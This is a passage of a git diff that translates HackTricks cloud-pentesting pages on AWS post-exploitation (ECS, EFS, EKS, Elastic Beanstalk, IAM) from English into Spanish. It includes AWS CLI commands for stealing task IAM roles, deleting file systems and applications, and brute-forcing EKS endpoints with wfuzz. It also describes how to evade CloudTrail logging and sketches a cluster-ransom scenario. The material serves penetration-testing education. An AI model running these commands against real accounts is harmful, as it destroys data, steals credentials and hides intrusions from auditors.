your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 1d2fd80a5..f758d1b31 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -1,53 +1,48 @@ -# AWS - ECS Post Exploitation +# AWS - ECS Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## ECS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Host IAM Roles +### Roles IAM de Host -In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ -Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: +En ECS, un **rol IAM puede ser asignado a la tarea** que se ejecuta dentro del contenedor. **Si** la tarea se ejecuta dentro de una **instancia EC2**, la **instancia EC2** tendrá **otro rol IAM** adjunto.\ +Lo que significa que si logras **comprometer** una instancia ECS, puedes potencialmente **obtener el rol IAM asociado al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales, consulta: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. +> Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, lo que hace imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2. -### Privesc to node to steal other containers creds & secrets +### Privesc al nodo para robar credenciales y secretos de otros contenedores -But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. +Además, EC2 utiliza Docker para ejecutar tareas de ECS, así que si puedes escapar al nodo o **acceder al socket de Docker**, puedes **verificar** qué **otros contenedores** se están ejecutando, e incluso **entrar en ellos** y **robar sus roles IAM** adjuntos. -#### Making containers run in current host - -Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. +#### Haciendo que los contenedores se ejecuten en el host actual +Además, el **rol de la instancia EC2** generalmente tendrá suficientes **permisos** para **actualizar el estado de la instancia del contenedor** de las instancias EC2 que se utilizan como nodos dentro del clúster. Un atacante podría modificar el **estado de una instancia a DRAINING**, entonces ECS **eliminará todas las tareas de ella** y las que se están ejecutando como **REPLICA** se **ejecutarán en una instancia diferente,** potencialmente dentro de la **instancia del atacante** para que pueda **robar sus roles IAM** y potencial información sensible desde dentro del contenedor. ```bash aws ecs update-container-instances-state \ - --cluster --status DRAINING --container-instances +--cluster --status DRAINING --container-instances ``` - -The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:** - +La misma técnica se puede realizar **dando de baja la instancia EC2 del clúster**. Esto es potencialmente menos sigiloso, pero **forzará a que las tareas se ejecuten en otras instancias:** ```bash aws ecs deregister-container-instance \ - --cluster --container-instance --force +--cluster --container-instance --force ``` - -A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this: - +Una técnica final para forzar la reejecución de tareas es indicando a ECS que el **tarea o contenedor fue detenido**. Hay 3 APIs potenciales para hacer esto: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ - --status STOPPED --reason "anything" --containers [...] +--status STOPPED --reason "anything" --containers [...] # Needs: ecs:SubmitContainerStateChange aws ecs submit-container-state-change ... @@ -55,13 +50,8 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` +### Robar información sensible de contenedores ECR -### Steal sensitive info from ECR containers - -The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them). +La instancia EC2 probablemente también tendrá el permiso `ecr:GetAuthorizationToken` que le permite **descargar imágenes** (podrías buscar información sensible en ellas). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 35b644689..8a2d01ea1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - EFS Post Exploitation +# AWS - EFS Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## EFS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-efs-enum.md @@ -12,47 +12,35 @@ For more information check: ### `elasticfilesystem:DeleteMountTarget` -An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target. - +Un atacante podría eliminar un objetivo de montaje, lo que podría interrumpir el acceso al sistema de archivos EFS para aplicaciones y usuarios que dependen de ese objetivo de montaje. ```sql aws efs delete-mount-target --mount-target-id ``` - -**Potential Impact**: Disruption of file system access and potential data loss for users or applications. +**Impacto Potencial**: Disrupción del acceso al sistema de archivos y posible pérdida de datos para usuarios o aplicaciones. ### `elasticfilesystem:DeleteFileSystem` -An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system. - +Un atacante podría eliminar un sistema de archivos EFS completo, lo que podría llevar a la pérdida de datos e impactar aplicaciones que dependen del sistema de archivos. ```perl aws efs delete-file-system --file-system-id ``` - -**Potential Impact**: Data loss and service disruption for applications using the deleted file system. +**Impacto Potencial**: Pérdida de datos y interrupción del servicio para aplicaciones que utilizan el sistema de archivos eliminado. ### `elasticfilesystem:UpdateFileSystem` -An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion. - +Un atacante podría actualizar las propiedades del sistema de archivos EFS, como el modo de rendimiento, para afectar su rendimiento o causar agotamiento de recursos. ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` +**Impacto Potencial**: Degradación del rendimiento del sistema de archivos o agotamiento de recursos. -**Potential Impact**: Degradation of file system performance or resource exhaustion. - -### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint` - -An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system. +### `elasticfilesystem:CreateAccessPoint` y `elasticfilesystem:DeleteAccessPoint` +Un atacante podría crear o eliminar puntos de acceso, alterando el control de acceso y potencialmente otorgándose acceso no autorizado al sistema de archivos. ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id ``` - -**Potential Impact**: Unauthorized access to the file system, data exposure or modification. +**Impacto Potencial**: Acceso no autorizado al sistema de archivos, exposición o modificación de datos. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index eb1f77f46..6720b5912 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -4,110 +4,101 @@ ## EKS -For mor information check +Para más información, consulta {{#ref}} ../aws-services/aws-eks-enum.md {{#endref}} -### Enumerate the cluster from the AWS Console +### Enumerar el clúster desde la consola de AWS -If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Si tienes el permiso **`eks:AccessKubernetesApi`** puedes **ver objetos de Kubernetes** a través de la consola de AWS EKS ([Aprende más](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). -### Connect to AWS Kubernetes Cluster - -- Easy way: +### Conectar al clúster de Kubernetes de AWS +- Forma fácil: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` +- No es tan fácil: -- Not that easy way: - -If you can **get a token** with **`aws eks get-token --name `** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**. - -In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name): +Si puedes **obtener un token** con **`aws eks get-token --name `** pero no tienes permisos para obtener información del clúster (describeCluster), podrías **preparar tu propio `~/.kube/config`**. Sin embargo, teniendo el token, aún necesitas la **url del endpoint para conectarte** (si lograste obtener un token JWT de un pod lee [aquí](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) y el **nombre del clúster**. +En mi caso, no encontré la información en los registros de CloudWatch, pero **la encontré en LaunchTemplates userData** y en **máquinas EC2 en userData también**. Puedes ver esta información en **userData** fácilmente, por ejemplo en el siguiente ejemplo (el nombre del clúster era cluster-name): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com /etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false ``` -
kube config - ```yaml describe-cache-parametersapiVersion: v1 clusters: - - cluster: - certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== - server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com - name: arn:aws:eks:us-east-1::cluster/ +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ contexts: - - context: - cluster: arn:aws:eks:us-east-1::cluster/ - user: arn:aws:eks:us-east-1::cluster/ - name: arn:aws:eks:us-east-1::cluster/ +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ current-context: arn:aws:eks:us-east-1::cluster/ kind: Config preferences: {} users: - - name: arn:aws:eks:us-east-1::cluster/ - user: - exec: - apiVersion: client.authentication.k8s.io/v1beta1 - args: - - --region - - us-west-2 - - --profile - - - - eks - - get-token - - --cluster-name - - - command: aws - env: null - interactiveMode: IfAvailable - provideClusterInfo: false +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false ``` -
-### From AWS to Kubernetes +### De AWS a Kubernetes -The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**. +El **creador** del **clúster EKS** **SIEMPRE** podrá acceder a la parte del clúster de kubernetes del grupo **`system:masters`** (admin de k8s). En el momento de escribir esto, **no hay forma directa** de encontrar **quién creó** el clúster (puedes verificar CloudTrail). Y **no hay forma** de **eliminar** ese **privilegio**. -The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**. +La forma de otorgar **acceso a más usuarios o roles de AWS IAM sobre K8s** es utilizando el **configmap** **`aws-auth`**. > [!WARNING] -> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**. +> Por lo tanto, cualquier persona con **acceso de escritura** sobre el config map **`aws-auth`** podrá **comprometer todo el clúster**. -For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +Para más información sobre cómo **otorgar privilegios adicionales a roles y usuarios de IAM** en la **misma o diferente cuenta** y cómo **abusar** de esto, [**verifica esta página**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). -Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. +Consulta también [**esta increíble**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **publicación para aprender cómo funciona la autenticación IAM -> Kubernetes**. -### From Kubernetes to AWS +### De Kubernetes a AWS -It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Es posible permitir una **autenticación OpenID para la cuenta de servicio de kubernetes** para permitirles asumir roles en AWS. Aprende cómo [**esto funciona en esta página**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### GET Api Server Endpoint from a JWT Token - -Decoding the JWT token we get the cluster id & also the region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is +### OBTENER el Endpoint del Api Server desde un Token JWT +Decodificando el token JWT obtenemos el id del clúster y también la región. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sabiendo que el formato estándar para la URL de EKS es ```bash https://...eks.amazonaws.com ``` - -Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one: +No encontré ninguna documentación que explique los criterios para los 'dos caracteres' y el 'número'. Pero haciendo algunas pruebas por mi cuenta, veo que se repiten estos: - gr7 - yl4 -Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list - +De todos modos, son solo 3 caracteres que podemos forzar. Usa el siguiente script para generar la lista. ```python from itertools import product from string import ascii_lowercase @@ -116,44 +107,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) number_combinations = product('0123456789', repeat = 1) result = [ - f'{''.join(comb[0])}{comb[1][0]}' - for comb in product(letter_combinations, number_combinations) +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) ] with open('out.txt', 'w') as f: - f.write('\n'.join(result)) +f.write('\n'.join(result)) ``` - -Then with wfuzz - +Entonces con wfuzz ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` - > [!WARNING] -> Remember to replace & . +> Recuerda reemplazar & . ### Bypass CloudTrail -If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally). +Si un atacante obtiene credenciales de un AWS con **permiso sobre un EKS**. Si el atacante configura su propio **`kubeconfig`** (sin llamar a **`update-kubeconfig`**) como se explicó anteriormente, el **`get-token`** no genera registros en Cloudtrail porque no interactúa con la API de AWS (solo crea el token localmente). -So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**. +Así que cuando el atacante se comunica con el clúster EKS, **cloudtrail no registrará nada relacionado con el usuario que fue robado y accediendo a él**. -Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled). +Ten en cuenta que el **clúster EKS podría tener registros habilitados** que registrarán este acceso (aunque, por defecto, están deshabilitados). ### EKS Ransom? -By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster. +Por defecto, el **usuario o rol que creó** un clúster **SIEMPRE tendrá privilegios de administrador** sobre el clúster. Y ese es el único acceso "seguro" que AWS tendrá sobre el clúster de Kubernetes. -So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. +Así que, si un **atacante compromete un clúster usando fargate** y **elimina a todos los otros administradores** y **elimina el usuario/rol de AWS que creó** el clúster, ~~el atacante podría haber **secuestrado el clúster**~~**r**. > [!TIP] -> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster. +> Ten en cuenta que si el clúster estaba usando **EC2 VMs**, podría ser posible obtener privilegios de administrador desde el **Nodo** y recuperar el clúster. > -> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node. +> De hecho, si el clúster está usando Fargate, podrías EC2 nodos o mover todo a EC2 al clúster y recuperarlo accediendo a los tokens en el nodo. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 6267ee02f..38399e374 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - Elastic Beanstalk Post Exploitation +# AWS - Elastic Beanstalk Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -For more information: +Para más información: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -13,72 +13,58 @@ For more information: ### `elasticbeanstalk:DeleteApplicationVersion` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up. +> TODO: Probar si se requieren más permisos para esto +Un atacante con el permiso `elasticbeanstalk:DeleteApplicationVersion` puede **eliminar una versión de aplicación existente**. Esta acción podría interrumpir los pipelines de despliegue de aplicaciones o causar la pérdida de versiones específicas de la aplicación si no se respaldan. ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` - -**Potential Impact**: Disruption of application deployment and potential loss of application versions. +**Impacto Potencial**: Disrupción del despliegue de aplicaciones y posible pérdida de versiones de aplicaciones. ### `elasticbeanstalk:TerminateEnvironment` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups. +> TODO: Probar si se requieren más permisos para esto +Un atacante con el permiso `elasticbeanstalk:TerminateEnvironment` puede **terminar un entorno de Elastic Beanstalk existente**, causando tiempo de inactividad para la aplicación y posible pérdida de datos si el entorno no está configurado para copias de seguridad. ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` - -**Potential Impact**: Downtime of the application, potential data loss, and disruption of services. +**Impacto Potencial**: Tiempo de inactividad de la aplicación, posible pérdida de datos y interrupción de servicios. ### `elasticbeanstalk:DeleteApplication` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up. +> TODO: Probar si se requieren más permisos para esto +Un atacante con el permiso `elasticbeanstalk:DeleteApplication` puede **eliminar una aplicación completa de Elastic Beanstalk**, incluyendo todas sus versiones y entornos. Esta acción podría causar una pérdida significativa de recursos y configuraciones de la aplicación si no se realiza una copia de seguridad. ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` - -**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss. +**Impacto Potencial**: Pérdida de recursos de la aplicación, configuraciones, entornos y versiones de la aplicación, lo que lleva a la interrupción del servicio y posible pérdida de datos. ### `elasticbeanstalk:SwapEnvironmentCNAMEs` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior. +> TODO: Probar si se requieren más permisos para esto +Un atacante con el permiso `elasticbeanstalk:SwapEnvironmentCNAMEs` puede **intercambiar los registros CNAME de dos entornos de Elastic Beanstalk**, lo que podría causar que se sirva la versión incorrecta de la aplicación a los usuarios o llevar a un comportamiento no intencionado. ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` - -**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments. +**Impacto Potencial**: Servir la versión incorrecta de la aplicación a los usuarios o causar un comportamiento no intencionado en la aplicación debido a entornos intercambiados. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management. +> TODO: Probar si se requieren más permisos para esto +Un atacante con los permisos `elasticbeanstalk:AddTags` y `elasticbeanstalk:RemoveTags` puede **agregar o eliminar etiquetas en los recursos de Elastic Beanstalk**. Esta acción podría llevar a una asignación incorrecta de recursos, facturación o gestión de recursos. ```bash aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag ``` - -**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags. +**Impacto Potencial**: Asignación incorrecta de recursos, facturación o gestión de recursos debido a etiquetas añadidas o eliminadas. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index f734122e8..c43ef3e9a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -1,107 +1,93 @@ -# AWS - IAM Post Exploitation +# AWS - IAM Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## IAM -For more information about IAM access: +Para más información sobre el acceso a IAM: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -## Confused Deputy Problem +## Problema del Diputado Confundido -If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**. +Si 